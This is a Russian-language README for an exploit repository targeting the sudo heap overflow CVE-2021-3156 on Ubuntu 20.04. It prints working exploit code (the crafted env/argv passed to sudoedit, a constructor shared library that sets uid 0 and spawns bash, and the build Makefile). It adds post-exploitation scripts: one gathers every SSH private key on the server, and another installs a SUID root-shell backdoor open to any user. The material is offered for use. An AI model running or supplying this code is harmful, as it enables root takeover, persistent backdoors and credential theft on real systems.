
Эксплойт для Ubuntu 20.04 с использованием CVE-2021-3156, дополненный скриптами пост-эксплуатации
Эксплойт для Ubuntu 20.04, использующий CVE-2021-3156, дополнен простыми и автоматизированными скриптами для пост-эксплуатации
Помимо root-оболочки вы можете получить:
Файл .txt со всеми SSH-ключами id_rsa, настроенными на сервере. См. скрипт: get_all_ssh_keys.sh
Исполняемый файл privshell, позволяющий любому пользователю запустить root-оболочку (работаю над исправлением ошибки gcc). См. скрипт: create_privshell.sh
Для успешного результата необходимо, чтобы на целевой машине была одна из следующих версий ОС и Sudo:

Чтобы сделать мою ВМ уязвимой, я понизил версию sudo с помощью следующей команды:
$ sudo apt install sudo=1.8.31-1ubuntu1
Эксплойт работает при условии, что доступ к целевой системе получен от имени пользователя без значительных привилегий.

Вы можете клонировать репозиторий на целевую машину или на свою локальную машину и загрузить его с помощью wget.

Выполните команду "make", чтобы скомпилировать .c-файлы в соответствии с уязвимостью.

Вы получите файл эксплойта, поэтому вы можете запустить его с помощью "./". После запуска эксплойта мы можем увидеть два файла, созданные в репозитории: один содержит все SSH-ключи, зарегистрированные в системе, а другой содержит исполняемый файл SUID, предоставляющий root-сессию всем пользователям (выделено фиолетовым).

Вы можете увидеть ошибку, подобную следующей:

Я всё ещё пытаюсь решить эту ошибку, но предполагаю, что это связано с оболочкой, генерирующей эксплойт. Я попробовал запустить команду ./create_privshell.sh от root, переключившись через sudo su от пользователя с соответствующими правами, и компиляция скрипта прошла успешно. Альтернативно его можно скомпилировать на другой машине и скопировать на целевую, поэтому и существует запрос wget.
Скрипт для компиляции выглядит так:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Теперь вы можете прочитать .txt-файлы со всеми SSH-ключами и использовать privshell, пока я не исправлю ошибку gcc.

Обнаружена Qualys
Оценка CVSS: 7.8
CVE-2021-3156, также известная как уязвимость "Baron Samedit", — это уязвимость безопасности, затрагивающая широко используемую программу sudo в Unix-подобных операционных системах. Sudo — это программа, позволяющая пользователям выполнять команды с повышенными привилегиями, обычно путём ввода собственного пароля или пароля root. Уязвимость вызвана переполнением буфера в функции "sudoedit" команды sudo, которая позволяет пользователям редактировать файлы с повышенными привилегиями. Уязвимость была впервые обнаружена в январе 2021 года лабораторией Qualys Research Labs и затрагивает версии sudo от 1.8.2 до 1.8.31p2 и от 1.9.0 до 1.9.5p1.
###Очень-очень технические подробности Информация из: Qualys



Другими словами, set_cmnd() уязвима для переполнения буфера в куче, потому что выходные за границы символы, копируемые в буфер "user_args", не были учтены в его размере (вычисленном в строках 852–853).
Для части с переполнением я использовал файл exploit.c из redhawkeye/sudo-exploit.
Это немного сложно, но легко интерпретируется.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Эта часть объявляет массив переменных окружения env, которые будут переданы системному вызову execve. Переменные окружения содержат серию обратных слешей и специально созданную переменную LC_ALL со значением "C.UTF-8@", объединённым с 208 (0xd0) символами A. Значение C.UTF-8@ будет передано как переменная окружения LC_ALL команде sudoedit. 208 символов A используются для переполнения буфера в программе sudoedit и выполнения произвольного кода.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Эта часть объявляет переменную a, содержащую строку из 112 (0x70) символов A, за которыми следует обратный слеш. Затем объявляется массив argv, который будет передан execve. Массив содержит путь к команде sudoedit (/usr/bin/sudoedit), флаг -s и созданную выше переменную a.
execve(argv[0], argv, env);
Это системный вызов execve, который фактически запускает команду sudoedit с предоставленными аргументами и переменными окружения. Программа sudoedit прочитает переменную окружения LC_ALL и попытается разобрать её как путь к файлу. Переполняющие символы A будут использованы для записи произвольных данных в память и потенциального выполнения произвольного кода.
Итак, эти данные в памяти, зарезервированные для RCE, будут использованы нашим файлом shell_tool.c.
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
Эта часть кода объявляет функцию с именем sice с атрибутом attribute((constructor)), поэтому функция будет автоматически вызвана при запуске программы, до выполнения main(). Внутри функции sice вызывается функция setuid(0), которая устанавливает эффективный идентификатор пользователя процесса в 0, то есть идентификатор суперпользователя или root. Это фактически даёт программе root-привилегии. После этого, просто используя аргумент system("command"), мы можем делать всё, что угодно, до появления root-сессии в терминале. Именно поэтому я хотел попробовать написание скриптов, чтобы иметь бэкдоры и извлекать данные до получения root-оболочки.
Я попытался написать свою собственную версию кода, названную mybufferof.c, в основном она очень похожа, так что можете изменить Makefile, чтобы протестировать её, jeje.
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
Сначала нам нужно скомпилировать наш эксплойт, а затем создать каталог "libnss_X". Затем последняя команда компилирует файл shell_tool.c и создаёт файл общей библиотеки с именем X.so.2 в каталоге libnss_X:
Флаг -g генерирует отладочную информацию для файла общей библиотеки.
Флаг -fPIC генерирует позиционно-независимый код для общих объектов.
Флаг -shared указывает, что должен быть создан файл общей библиотеки.
Полученный файл общей библиотеки X.so.2 помещается в каталог libnss_X, созданный на втором шаге.
Это важно для данного CVE, вот почему:

Данные из:Qualys
На этом всё, наслаждайтесь, полагаю.